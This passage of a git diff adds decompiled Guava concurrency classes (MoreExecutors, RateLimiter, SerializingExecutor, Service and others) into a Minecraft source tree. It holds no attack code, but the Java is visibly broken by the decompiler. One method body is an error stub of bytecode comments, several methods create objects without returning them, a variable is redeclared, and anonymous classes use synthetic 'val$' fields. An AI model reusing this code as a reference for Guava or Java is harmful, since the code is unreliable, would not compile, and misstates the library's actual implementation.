+  private static void useDaemonThreadFactory(ThreadPoolExecutor executor)
+  {
+    executor.setThreadFactory(new ThreadFactoryBuilder().setDaemon(true).setThreadFactory(executor.getThreadFactory()).build());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static ListeningExecutorService sameThreadExecutor()
+  {
+    return new SameThreadExecutorService(null);
+  }
+  
+
+
+
+
+  private static class SameThreadExecutorService
+    extends AbstractListeningExecutorService
+  {
+    private final Lock lock = new ReentrantLock();
+    
+
+    private final Condition termination = lock.newCondition();
+    
+
+
+
+
+
+
+
+    private int runningTasks = 0;
+    private boolean shutdown = false;
+    
+    private SameThreadExecutorService() {}
+    
+    public void execute(Runnable command) { startTask();
+      try {
+        command.run();
+      } finally {
+        endTask();
+      }
+    }
+    
+    public boolean isShutdown()
+    {
+      lock.lock();
+      try {
+        return shutdown;
+      } finally {
+        lock.unlock();
+      }
+    }
+    
+    public void shutdown()
+    {
+      lock.lock();
+      try {
+        shutdown = true;
+      } finally {
+        lock.unlock();
+      }
+    }
+    
+
+    public List<Runnable> shutdownNow()
+    {
+      shutdown();
+      return Collections.emptyList();
+    }
+    
+    public boolean isTerminated()
+    {
+      lock.lock();
+      try {
+        return (shutdown) && (runningTasks == 0);
+      } finally {
+        lock.unlock();
+      }
+    }
+    
+    /* Error */
+    public boolean awaitTermination(long timeout, TimeUnit unit)
+      throws InterruptedException
+    {
+      // Byte code:
+      //   0: aload_3
+      //   1: lload_1
+      //   2: invokevirtual 17	java/util/concurrent/TimeUnit:toNanos	(J)J
+      //   5: lstore 4
+      //   7: aload_0
+      //   8: getfield 5	com/google/common/util/concurrent/MoreExecutors$SameThreadExecutorService:lock	Ljava/util/concurrent/locks/Lock;
+      //   11: invokeinterface 13 1 0
+      //   16: aload_0
+      //   17: invokevirtual 18	com/google/common/util/concurrent/MoreExecutors$SameThreadExecutorService:isTerminated	()Z
+      //   20: ifeq +18 -> 38
+      //   23: iconst_1
+      //   24: istore 6
+      //   26: aload_0
+      //   27: getfield 5	com/google/common/util/concurrent/MoreExecutors$SameThreadExecutorService:lock	Ljava/util/concurrent/locks/Lock;
+      //   30: invokeinterface 14 1 0
+      //   35: iload 6
+      //   37: ireturn
+      //   38: lload 4
+      //   40: lconst_0
+      //   41: lcmp
+      //   42: ifgt +18 -> 60
+      //   45: iconst_0
+      //   46: istore 6
+      //   48: aload_0
+      //   49: getfield 5	com/google/common/util/concurrent/MoreExecutors$SameThreadExecutorService:lock	Ljava/util/concurrent/locks/Lock;
+      //   52: invokeinterface 14 1 0
+      //   57: iload 6
+      //   59: ireturn
+      //   60: aload_0
+      //   61: getfield 7	com/google/common/util/concurrent/MoreExecutors$SameThreadExecutorService:termination	Ljava/util/concurrent/locks/Condition;
+      //   64: lload 4
+      //   66: invokeinterface 19 3 0
+      //   71: lstore 4
+      //   73: goto -57 -> 16
+      //   76: astore 7
+      //   78: aload_0
+      //   79: getfield 5	com/google/common/util/concurrent/MoreExecutors$SameThreadExecutorService:lock	Ljava/util/concurrent/locks/Lock;
+      //   82: invokeinterface 14 1 0
+      //   87: aload 7
+      //   89: athrow
+      // Line number table:
+      //   Java source line #343	-> byte code offset #0
+      //   Java source line #344	-> byte code offset #7
+      //   Java source line #347	-> byte code offset #16
+      //   Java source line #348	-> byte code offset #23
+      //   Java source line #356	-> byte code offset #26
+      //   Java source line #349	-> byte code offset #38
+      //   Java source line #350	-> byte code offset #45
+      //   Java source line #356	-> byte code offset #48
+      //   Java source line #352	-> byte code offset #60
+      //   Java source line #356	-> byte code offset #76
+      // Local variable table:
+      //   start	length	slot	name	signature
+      //   0	90	0	this	SameThreadExecutorService
+      //   0	90	1	timeout	long
+      //   0	90	3	unit	TimeUnit
+      //   5	67	4	nanos	long
+      //   24	34	6	bool	boolean
+      //   76	12	7	localObject	Object
+      // Exception table:
+      //   from	to	target	type
+      //   16	26	76	finally
+      //   38	48	76	finally
+      //   60	78	76	finally
+    }
+    
+    private void startTask()
+    {
+      lock.lock();
+      try {
+        if (isShutdown()) {
+          throw new RejectedExecutionException("Executor already shutdown");
+        }
+        runningTasks += 1;
+      } finally {
+        lock.unlock();
+      }
+    }
+    
+
+
+    private void endTask()
+    {
+      lock.lock();
+      try {
+        runningTasks -= 1;
+        if (isTerminated()) {
+          termination.signalAll();
+        }
+      } finally {
+        lock.unlock();
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static ListeningExecutorService listeningDecorator(ExecutorService delegate)
+  {
+    return (delegate instanceof ScheduledExecutorService) ? new ScheduledListeningDecorator((ScheduledExecutorService)delegate) : (delegate instanceof ListeningExecutorService) ? (ListeningExecutorService)delegate : new ListeningDecorator(delegate);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static ListeningScheduledExecutorService listeningDecorator(ScheduledExecutorService delegate)
+  {
+    return (delegate instanceof ListeningScheduledExecutorService) ? (ListeningScheduledExecutorService)delegate : new ScheduledListeningDecorator(delegate);
+  }
+  
+  private static class ListeningDecorator
+    extends AbstractListeningExecutorService
+  {
+    private final ExecutorService delegate;
+    
+    ListeningDecorator(ExecutorService delegate)
+    {
+      this.delegate = ((ExecutorService)Preconditions.checkNotNull(delegate));
+    }
+    
+    public boolean awaitTermination(long timeout, TimeUnit unit)
+      throws InterruptedException
+    {
+      return delegate.awaitTermination(timeout, unit);
+    }
+    
+    public boolean isShutdown()
+    {
+      return delegate.isShutdown();
+    }
+    
+    public boolean isTerminated()
+    {
+      return delegate.isTerminated();
+    }
+    
+    public void shutdown()
+    {
+      delegate.shutdown();
+    }
+    
+    public List<Runnable> shutdownNow()
+    {
+      return delegate.shutdownNow();
+    }
+    
+    public void execute(Runnable command)
+    {
+      delegate.execute(command);
+    }
+  }
+  
+  private static class ScheduledListeningDecorator extends MoreExecutors.ListeningDecorator implements ListeningScheduledExecutorService
+  {
+    final ScheduledExecutorService delegate;
+    
+    ScheduledListeningDecorator(ScheduledExecutorService delegate)
+    {
+      super();
+      this.delegate = ((ScheduledExecutorService)Preconditions.checkNotNull(delegate));
+    }
+    
+
+    public ListenableScheduledFuture<?> schedule(Runnable command, long delay, TimeUnit unit)
+    {
+      ListenableFutureTask<Void> task = ListenableFutureTask.create(command, null);
+      
+      ScheduledFuture<?> scheduled = delegate.schedule(task, delay, unit);
+      return new ListenableScheduledTask(task, scheduled);
+    }
+    
+
+    public <V> ListenableScheduledFuture<V> schedule(Callable<V> callable, long delay, TimeUnit unit)
+    {
+      ListenableFutureTask<V> task = ListenableFutureTask.create(callable);
+      ScheduledFuture<?> scheduled = delegate.schedule(task, delay, unit);
+      return new ListenableScheduledTask(task, scheduled);
+    }
+    
+
+    public ListenableScheduledFuture<?> scheduleAtFixedRate(Runnable command, long initialDelay, long period, TimeUnit unit)
+    {
+      NeverSuccessfulListenableFutureTask task = new NeverSuccessfulListenableFutureTask(command);
+      
+      ScheduledFuture<?> scheduled = delegate.scheduleAtFixedRate(task, initialDelay, period, unit);
+      
+      return new ListenableScheduledTask(task, scheduled);
+    }
+    
+
+    public ListenableScheduledFuture<?> scheduleWithFixedDelay(Runnable command, long initialDelay, long delay, TimeUnit unit)
+    {
+      NeverSuccessfulListenableFutureTask task = new NeverSuccessfulListenableFutureTask(command);
+      
+      ScheduledFuture<?> scheduled = delegate.scheduleWithFixedDelay(task, initialDelay, delay, unit);
+      
+      return new ListenableScheduledTask(task, scheduled);
+    }
+    
+
+    private static final class ListenableScheduledTask<V>
+      extends ForwardingListenableFuture.SimpleForwardingListenableFuture<V>
+      implements ListenableScheduledFuture<V>
+    {
+      private final ScheduledFuture<?> scheduledDelegate;
+      
+      public ListenableScheduledTask(ListenableFuture<V> listenableDelegate, ScheduledFuture<?> scheduledDelegate)
+      {
+        super();
+        this.scheduledDelegate = scheduledDelegate;
+      }
+      
+      public boolean cancel(boolean mayInterruptIfRunning)
+      {
+        boolean cancelled = super.cancel(mayInterruptIfRunning);
+        if (cancelled)
+        {
+          scheduledDelegate.cancel(mayInterruptIfRunning);
+        }
+        
+
+        return cancelled;
+      }
+      
+      public long getDelay(TimeUnit unit)
+      {
+        return scheduledDelegate.getDelay(unit);
+      }
+      
+      public int compareTo(Delayed other)
+      {
+        return scheduledDelegate.compareTo(other);
+      }
+    }
+    
+    private static final class NeverSuccessfulListenableFutureTask extends AbstractFuture<Void> implements Runnable
+    {
+      private final Runnable delegate;
+      
+      public NeverSuccessfulListenableFutureTask(Runnable delegate)
+      {
+        this.delegate = ((Runnable)Preconditions.checkNotNull(delegate));
+      }
+      
+      public void run() {
+        try {
+          delegate.run();
+        } catch (Throwable t) {
+          setException(t);
+          throw Throwables.propagate(t);
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static <T> T invokeAnyImpl(ListeningExecutorService executorService, Collection<? extends Callable<T>> tasks, boolean timed, long nanos)
+    throws InterruptedException, ExecutionException, TimeoutException
+  {
+    Preconditions.checkNotNull(executorService);
+    int ntasks = tasks.size();
+    Preconditions.checkArgument(ntasks > 0);
+    List<Future<T>> futures = Lists.newArrayListWithCapacity(ntasks);
+    BlockingQueue<Future<T>> futureQueue = Queues.newLinkedBlockingQueue();
+    
+
+
+
+
+
+
+
+    try
+    {
+      ExecutionException ee = null;
+      long lastTime = timed ? System.nanoTime() : 0L;
+      Iterator<? extends Callable<T>> it = tasks.iterator();
+      
+      futures.add(submitAndAddQueueListener(executorService, (Callable)it.next(), futureQueue));
+      ntasks--;
+      int active = 1;
+      for (;;)
+      {
+        Future<T> f = (Future)futureQueue.poll();
+        long now; if (f == null)
+          if (ntasks > 0) {
+            ntasks--;
+            futures.add(submitAndAddQueueListener(executorService, (Callable)it.next(), futureQueue));
+            active++;
+          } else { if (active == 0)
+              break;
+            if (timed) {
+              f = (Future)futureQueue.poll(nanos, TimeUnit.NANOSECONDS);
+              if (f == null) {
+                throw new TimeoutException();
+              }
+              now = System.nanoTime();
+              nanos -= now - lastTime;
+              lastTime = now;
+            } else {
+              f = (Future)futureQueue.take();
+            }
+          }
+        if (f != null) {
+          active--;
+          try { Iterator i$;
+            Future<T> f; return f.get();
+          } catch (ExecutionException eex) {
+            ee = eex;
+          } catch (RuntimeException rex) {
+            ee = new ExecutionException(rex);
+          }
+        }
+      }
+      
+      if (ee == null) {
+        ee = new ExecutionException(null);
+      }
+      throw ee;
+    } finally {
+      for (Future<T> f : futures) {
+        f.cancel(true);
+      }
+    }
+  }
+  
+
+
+
+
+  private static <T> ListenableFuture<T> submitAndAddQueueListener(ListeningExecutorService executorService, Callable<T> task, BlockingQueue<Future<T>> queue)
+  {
+    final ListenableFuture<T> future = executorService.submit(task);
+    future.addListener(new Runnable()
+    {
+      public void run() { val$queue.add(future); } }, sameThreadExecutor());
+    
+
+    return future;
+  }
+  
+
+
+
+
+
+
+
+  @Beta
+  public static ThreadFactory platformThreadFactory()
+  {
+    if (!isAppEngine()) {
+      return Executors.defaultThreadFactory();
+    }
+    try {
+      return (ThreadFactory)Class.forName("com.google.appengine.api.ThreadManager").getMethod("currentRequestThreadFactory", new Class[0]).invoke(null, new Object[0]);
+    }
+    catch (IllegalAccessException e)
+    {
+      throw new RuntimeException("Couldn't invoke ThreadManager.currentRequestThreadFactory", e);
+    } catch (ClassNotFoundException e) {
+      throw new RuntimeException("Couldn't invoke ThreadManager.currentRequestThreadFactory", e);
+    } catch (NoSuchMethodException e) {
+      throw new RuntimeException("Couldn't invoke ThreadManager.currentRequestThreadFactory", e);
+    } catch (InvocationTargetException e) {
+      throw Throwables.propagate(e.getCause());
+    }
+  }
+  
+  private static boolean isAppEngine() {
+    if (System.getProperty("com.google.appengine.runtime.environment") == null) {
+      return false;
+    }
+    try
+    {
+      return Class.forName("com.google.apphosting.api.ApiProxy").getMethod("getCurrentEnvironment", new Class[0]).invoke(null, new Object[0]) != null;
+
+    }
+    catch (ClassNotFoundException e)
+    {
+      return false;
+    }
+    catch (InvocationTargetException e) {
+      return false;
+    }
+    catch (IllegalAccessException e) {
+      return false;
+    }
+    catch (NoSuchMethodException e) {}
+    return false;
+  }
+  
+
+
+
+
+  static Thread newThread(String name, Runnable runnable)
+  {
+    Preconditions.checkNotNull(name);
+    Preconditions.checkNotNull(runnable);
+    Thread result = platformThreadFactory().newThread(runnable);
+    try {
+      result.setName(name);
+    }
+    catch (SecurityException e) {}
+    
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static Executor renamingDecorator(Executor executor, final Supplier<String> nameSupplier)
+  {
+    Preconditions.checkNotNull(executor);
+    Preconditions.checkNotNull(nameSupplier);
+    if (isAppEngine())
+    {
+      return executor;
+    }
+    new Executor() {
+      public void execute(Runnable command) {
+        val$executor.execute(Callables.threadRenaming(command, nameSupplier));
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  static ExecutorService renamingDecorator(ExecutorService service, final Supplier<String> nameSupplier)
+  {
+    Preconditions.checkNotNull(service);
+    Preconditions.checkNotNull(nameSupplier);
+    if (isAppEngine())
+    {
+      return service;
+    }
+    new WrappingExecutorService(service) {
+      protected <T> Callable<T> wrapTask(Callable<T> callable) {
+        return Callables.threadRenaming(callable, nameSupplier);
+      }
+      
+      protected Runnable wrapTask(Runnable command) { return Callables.threadRenaming(command, nameSupplier); }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static ScheduledExecutorService renamingDecorator(ScheduledExecutorService service, final Supplier<String> nameSupplier)
+  {
+    Preconditions.checkNotNull(service);
+    Preconditions.checkNotNull(nameSupplier);
+    if (isAppEngine())
+    {
+      return service;
+    }
+    new WrappingScheduledExecutorService(service) {
+      protected <T> Callable<T> wrapTask(Callable<T> callable) {
+        return Callables.threadRenaming(callable, nameSupplier);
+      }
+      
+      protected Runnable wrapTask(Runnable command) { return Callables.threadRenaming(command, nameSupplier); }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static boolean shutdownAndAwaitTermination(ExecutorService service, long timeout, TimeUnit unit)
+  {
+    Preconditions.checkNotNull(unit);
+    
+    service.shutdown();
+    try {
+      long halfTimeoutNanos = TimeUnit.NANOSECONDS.convert(timeout, unit) / 2L;
+      
+      if (!service.awaitTermination(halfTimeoutNanos, TimeUnit.NANOSECONDS))
+      {
+        service.shutdownNow();
+        
+        service.awaitTermination(halfTimeoutNanos, TimeUnit.NANOSECONDS);
+      }
+    }
+    catch (InterruptedException ie) {
+      Thread.currentThread().interrupt();
+      
+      service.shutdownNow();
+    }
+    return service.isTerminated();
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/RateLimiter.java b/src/minecraft/com/google/common/util/concurrent/RateLimiter.java
new file mode 100644
index 0000000..887528c
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/RateLimiter.java
@@ -0,0 +1,733 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Ticker;
+import java.util.concurrent.TimeUnit;
+import javax.annotation.concurrent.ThreadSafe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ThreadSafe
+@Beta
+public abstract class RateLimiter
+{
+  private final SleepingTicker ticker;
+  private final long offsetNanos;
+  double storedPermits;
+  double maxPermits;
+  volatile double stableIntervalMicros;
+  
+  public static RateLimiter create(double permitsPerSecond)
+  {
+    return create(SleepingTicker.SYSTEM_TICKER, permitsPerSecond);
+  }
+  
+  @VisibleForTesting
+  static RateLimiter create(SleepingTicker ticker, double permitsPerSecond) {
+    RateLimiter rateLimiter = new Bursty(ticker, 1.0D);
+    rateLimiter.setRate(permitsPerSecond);
+    return rateLimiter;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static RateLimiter create(double permitsPerSecond, long warmupPeriod, TimeUnit unit)
+  {
+    return create(SleepingTicker.SYSTEM_TICKER, permitsPerSecond, warmupPeriod, unit);
+  }
+  
+  @VisibleForTesting
+  static RateLimiter create(SleepingTicker ticker, double permitsPerSecond, long warmupPeriod, TimeUnit unit)
+  {
+    RateLimiter rateLimiter = new WarmingUp(ticker, warmupPeriod, unit);
+    rateLimiter.setRate(permitsPerSecond);
+    return rateLimiter;
+  }
+  
+  @VisibleForTesting
+  static RateLimiter createWithCapacity(SleepingTicker ticker, double permitsPerSecond, long maxBurstBuildup, TimeUnit unit)
+  {
+    double maxBurstSeconds = unit.toNanos(maxBurstBuildup) / 1.0E9D;
+    Bursty rateLimiter = new Bursty(ticker, maxBurstSeconds);
+    rateLimiter.setRate(permitsPerSecond);
+    return rateLimiter;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private final Object mutex = new Object();
+  
+
+
+
+
+  private long nextFreeTicketMicros = 0L;
+  
+  private RateLimiter(SleepingTicker ticker) {
+    this.ticker = ticker;
+    offsetNanos = ticker.read();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final void setRate(double permitsPerSecond)
+  {
+    Preconditions.checkArgument((permitsPerSecond > 0.0D) && (!Double.isNaN(permitsPerSecond)), "rate must be positive");
+    
+    synchronized (mutex) {
+      resync(readSafeMicros());
+      double stableIntervalMicros = TimeUnit.SECONDS.toMicros(1L) / permitsPerSecond;
+      this.stableIntervalMicros = stableIntervalMicros;
+      doSetRate(permitsPerSecond, stableIntervalMicros);
+    }
+  }
+  
+
+
+
+  abstract void doSetRate(double paramDouble1, double paramDouble2);
+  
+
+
+
+  public final double getRate()
+  {
+    return TimeUnit.SECONDS.toMicros(1L) / stableIntervalMicros;
+  }
+  
+
+
+
+
+
+
+
+
+  public double acquire()
+  {
+    return acquire(1);
+  }
+  
+
+
+
+
+
+
+
+  public double acquire(int permits)
+  {
+    long microsToWait = reserve(permits);
+    ticker.sleepMicrosUninterruptibly(microsToWait);
+    return 1.0D * microsToWait / TimeUnit.SECONDS.toMicros(1L);
+  }
+  
+
+
+
+
+
+
+
+  long reserve()
+  {
+    return reserve(1);
+  }
+  
+
+
+
+
+
+  long reserve(int permits)
+  {
+    checkPermits(permits);
+    synchronized (mutex) {
+      return reserveNextTicket(permits, readSafeMicros());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public boolean tryAcquire(long timeout, TimeUnit unit)
+  {
+    return tryAcquire(1, timeout, unit);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean tryAcquire(int permits)
+  {
+    return tryAcquire(permits, 0L, TimeUnit.MICROSECONDS);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean tryAcquire()
+  {
+    return tryAcquire(1, 0L, TimeUnit.MICROSECONDS);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean tryAcquire(int permits, long timeout, TimeUnit unit)
+  {
+    long timeoutMicros = unit.toMicros(timeout);
+    checkPermits(permits);
+    long microsToWait;
+    synchronized (mutex) {
+      long nowMicros = readSafeMicros();
+      if (nextFreeTicketMicros > nowMicros + timeoutMicros) {
+        return false;
+      }
+      microsToWait = reserveNextTicket(permits, nowMicros);
+    }
+    
+    ticker.sleepMicrosUninterruptibly(microsToWait);
+    return true;
+  }
+  
+  private static void checkPermits(int permits) {
+    Preconditions.checkArgument(permits > 0, "Requested permits must be positive");
+  }
+  
+
+
+
+
+  private long reserveNextTicket(double requiredPermits, long nowMicros)
+  {
+    resync(nowMicros);
+    long microsToNextFreeTicket = Math.max(0L, nextFreeTicketMicros - nowMicros);
+    double storedPermitsToSpend = Math.min(requiredPermits, storedPermits);
+    double freshPermits = requiredPermits - storedPermitsToSpend;
+    
+    long waitMicros = storedPermitsToWaitTime(storedPermits, storedPermitsToSpend) + (freshPermits * stableIntervalMicros);
+    
+
+    nextFreeTicketMicros += waitMicros;
+    storedPermits -= storedPermitsToSpend;
+    return microsToNextFreeTicket;
+  }
+  
+
+
+
+
+  abstract long storedPermitsToWaitTime(double paramDouble1, double paramDouble2);
+  
+
+
+
+
+  private void resync(long nowMicros)
+  {
+    if (nowMicros > nextFreeTicketMicros) {
+      storedPermits = Math.min(maxPermits, storedPermits + (nowMicros - nextFreeTicketMicros) / stableIntervalMicros);
+      
+      nextFreeTicketMicros = nowMicros;
+    }
+  }
+  
+  private long readSafeMicros() {
+    return TimeUnit.NANOSECONDS.toMicros(ticker.read() - offsetNanos);
+  }
+  
+  public String toString()
+  {
+    return String.format("RateLimiter[stableRate=%3.1fqps]", new Object[] { Double.valueOf(1000000.0D / stableIntervalMicros) });
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static class WarmingUp
+    extends RateLimiter
+  {
+    final long warmupPeriodMicros;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private double slope;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private double halfPermits;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    WarmingUp(RateLimiter.SleepingTicker ticker, long warmupPeriod, TimeUnit timeUnit)
+    {
+      super(null);
+      warmupPeriodMicros = timeUnit.toMicros(warmupPeriod);
+    }
+    
+    void doSetRate(double permitsPerSecond, double stableIntervalMicros)
+    {
+      double oldMaxPermits = maxPermits;
+      maxPermits = (warmupPeriodMicros / stableIntervalMicros);
+      halfPermits = (maxPermits / 2.0D);
+      
+      double coldIntervalMicros = stableIntervalMicros * 3.0D;
+      slope = ((coldIntervalMicros - stableIntervalMicros) / halfPermits);
+      if (oldMaxPermits == Double.POSITIVE_INFINITY)
+      {
+        storedPermits = 0.0D;
+      } else {
+        storedPermits = (oldMaxPermits == 0.0D ? maxPermits : storedPermits * maxPermits / oldMaxPermits);
+      }
+    }
+    
+
+
+    long storedPermitsToWaitTime(double storedPermits, double permitsToTake)
+    {
+      double availablePermitsAboveHalf = storedPermits - halfPermits;
+      long micros = 0L;
+      
+      if (availablePermitsAboveHalf > 0.0D) {
+        double permitsAboveHalfToTake = Math.min(availablePermitsAboveHalf, permitsToTake);
+        micros = (permitsAboveHalfToTake * (permitsToTime(availablePermitsAboveHalf) + permitsToTime(availablePermitsAboveHalf - permitsAboveHalfToTake)) / 2.0D);
+        
+        permitsToTake -= permitsAboveHalfToTake;
+      }
+      
+      micros = (micros + stableIntervalMicros * permitsToTake);
+      return micros;
+    }
+    
+    private double permitsToTime(double permits) {
+      return stableIntervalMicros + permits * slope;
+    }
+  }
+  
+
+
+  private static class Bursty
+    extends RateLimiter
+  {
+    final double maxBurstSeconds;
+    
+
+
+    Bursty(RateLimiter.SleepingTicker ticker, double maxBurstSeconds)
+    {
+      super(null);
+      this.maxBurstSeconds = maxBurstSeconds;
+    }
+    
+    void doSetRate(double permitsPerSecond, double stableIntervalMicros)
+    {
+      double oldMaxPermits = maxPermits;
+      maxPermits = (maxBurstSeconds * permitsPerSecond);
+      storedPermits = (oldMaxPermits == 0.0D ? 0.0D : storedPermits * maxPermits / oldMaxPermits);
+    }
+    
+
+
+    long storedPermitsToWaitTime(double storedPermits, double permitsToTake)
+    {
+      return 0L;
+    }
+  }
+  
+  @VisibleForTesting
+  static abstract class SleepingTicker
+    extends Ticker
+  {
+    static final SleepingTicker SYSTEM_TICKER = new SleepingTicker()
+    {
+      public long read() {
+        return systemTicker().read();
+      }
+      
+      public void sleepMicrosUninterruptibly(long micros)
+      {
+        if (micros > 0L) {
+          Uninterruptibles.sleepUninterruptibly(micros, TimeUnit.MICROSECONDS);
+        }
+      }
+    };
+    
+    SleepingTicker() {}
+    
+    abstract void sleepMicrosUninterruptibly(long paramLong);
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/Runnables.java b/src/minecraft/com/google/common/util/concurrent/Runnables.java
new file mode 100644
index 0000000..7a6ffcf
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/Runnables.java
@@ -0,0 +1,45 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public final class Runnables
+{
+  private static final Runnable EMPTY_RUNNABLE = new Runnable()
+  {
+    public void run() {}
+  };
+  
+
+
+
+  public static Runnable doNothing()
+  {
+    return EMPTY_RUNNABLE;
+  }
+  
+  private Runnables() {}
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/SerializingExecutor.java b/src/minecraft/com/google/common/util/concurrent/SerializingExecutor.java
new file mode 100644
index 0000000..d62891d
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/SerializingExecutor.java
@@ -0,0 +1,167 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.base.Preconditions;
+import java.util.ArrayDeque;
+import java.util.Queue;
+import java.util.concurrent.Executor;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+import javax.annotation.concurrent.GuardedBy;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class SerializingExecutor
+  implements Executor
+{
+  private static final Logger log = Logger.getLogger(SerializingExecutor.class.getName());
+  
+
+  private final Executor executor;
+  
+
+  @GuardedBy("internalLock")
+  private final Queue<Runnable> waitQueue = new ArrayDeque();
+  
+
+
+
+
+
+
+
+
+  @GuardedBy("internalLock")
+  private boolean isThreadScheduled = false;
+  
+
+
+  private final TaskRunner taskRunner = new TaskRunner(null);
+  
+
+
+
+
+  public SerializingExecutor(Executor executor)
+  {
+    Preconditions.checkNotNull(executor, "'executor' must not be null.");
+    this.executor = executor;
+  }
+  
+  private final Object internalLock = new Object() {
+    public String toString() {
+      return "SerializingExecutor lock: " + super.toString();
+    }
+  };
+  
+
+
+
+
+  public void execute(Runnable r)
+  {
+    Preconditions.checkNotNull(r, "'r' must not be null.");
+    boolean scheduleTaskRunner = false;
+    synchronized (internalLock) {
+      waitQueue.add(r);
+      
+      if (!isThreadScheduled) {
+        isThreadScheduled = true;
+        scheduleTaskRunner = true;
+      }
+    }
+    if (scheduleTaskRunner) {
+      boolean threw = true;
+      try {
+        executor.execute(taskRunner);
+        threw = false;
+      } finally {
+        if (threw) {
+          synchronized (internalLock)
+          {
+
+
+
+            isThreadScheduled = false;
+          }
+        }
+      }
+    }
+  }
+  
+
+
+  private class TaskRunner
+    implements Runnable
+  {
+    private TaskRunner() {}
+    
+
+    public void run()
+    {
+      boolean stillRunning = true;
+      try {
+        for (;;) {
+          Preconditions.checkState(isThreadScheduled);
+          Runnable nextToRun;
+          synchronized (internalLock) {
+            nextToRun = (Runnable)waitQueue.poll();
+            if (nextToRun == null) {
+              isThreadScheduled = false;
+              stillRunning = false;
+              break;
+            }
+          }
+          
+          try
+          {
+            nextToRun.run();
+          }
+          catch (RuntimeException e) {
+            SerializingExecutor.log.log(Level.SEVERE, "Exception while executing runnable " + nextToRun, e);
+          }
+        }
+      }
+      finally {
+        if (stillRunning)
+        {
+
+
+          synchronized (internalLock) {
+            isThreadScheduled = false;
+          }
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/Service.java b/src/minecraft/com/google/common/util/concurrent/Service.java
new file mode 100644
index 0000000..dfff6b1
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/Service.java
@@ -0,0 +1,242 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.Beta;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public abstract interface Service
+{
+  public abstract Service startAsync();
+  
+  public abstract boolean isRunning();
+  
+  public abstract State state();
+  
+  public abstract Service stopAsync();
+  
+  public abstract void awaitRunning();
+  
+  public abstract void awaitRunning(long paramLong, TimeUnit paramTimeUnit)
+    throws TimeoutException;
+  
+  public abstract void awaitTerminated();
+  
+  public abstract void awaitTerminated(long paramLong, TimeUnit paramTimeUnit)
+    throws TimeoutException;
+  
+  public abstract Throwable failureCause();
+  
+  public abstract void addListener(Listener paramListener, Executor paramExecutor);
+  
